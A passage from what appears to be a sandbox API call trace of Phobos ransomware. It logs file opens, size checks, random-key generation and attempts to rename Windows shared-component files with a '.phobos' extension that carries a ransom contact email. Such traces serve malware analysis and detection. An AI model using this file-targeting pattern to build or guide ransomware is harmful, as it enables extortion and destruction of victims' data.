shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.556] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.558] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1700352) returned 1 [0149.558] CloseHandle (hObject=0x580) returned 1 [0149.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0149.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0149.558] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.559] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=503808) returned 1 [0149.559] CloseHandle (hObject=0x580) returned 1 [0149.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0149.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.560] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.561] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1540608) returned 1 [0149.561] CloseHandle (hObject=0x580) returned 1 [0149.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0149.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.562] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6368768) returned 1 [0149.562] CloseHandle (hObject=0x580) returned 1 [0149.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0149.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0149.562] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.599] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=51200) returned 1 [0149.599] CloseHandle (hObject=0x580) returned 1 [0149.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0149.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.611] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.611] CloseHandle (hObject=0x580) returned 1 [0149.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0149.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.612] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.620] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.620] CloseHandle (hObject=0x580) returned 1 [0149.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0149.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.621] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.628] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.628] CloseHandle (hObject=0x57c) returned 1 [0149.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0149.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.628] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.636] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10752) returned 1 [0149.636] CloseHandle (hObject=0x57c) returned 1 [0149.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0149.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.639] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=4101632) returned 1 [0149.639] CloseHandle (hObject=0x57c) returned 1 [0149.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0149.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0149.640] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.641] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9728) returned 1 [0149.641] CloseHandle (hObject=0x57c) returned 1 [0149.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0149.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.642] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.643] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22016) returned 1 [0149.643] CloseHandle (hObject=0x57c) returned 1 [0149.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0149.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.643] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.644] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1053184) returned 1 [0149.644] CloseHandle (hObject=0x57c) returned 1 [0149.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0149.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.655] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.655] CloseHandle (hObject=0x57c) returned 1 [0149.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0149.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.658] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.658] CloseHandle (hObject=0x57c) returned 1 [0149.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0149.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.661] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=30720) returned 1 [0149.661] CloseHandle (hObject=0x57c) returned 1 [0149.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0149.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 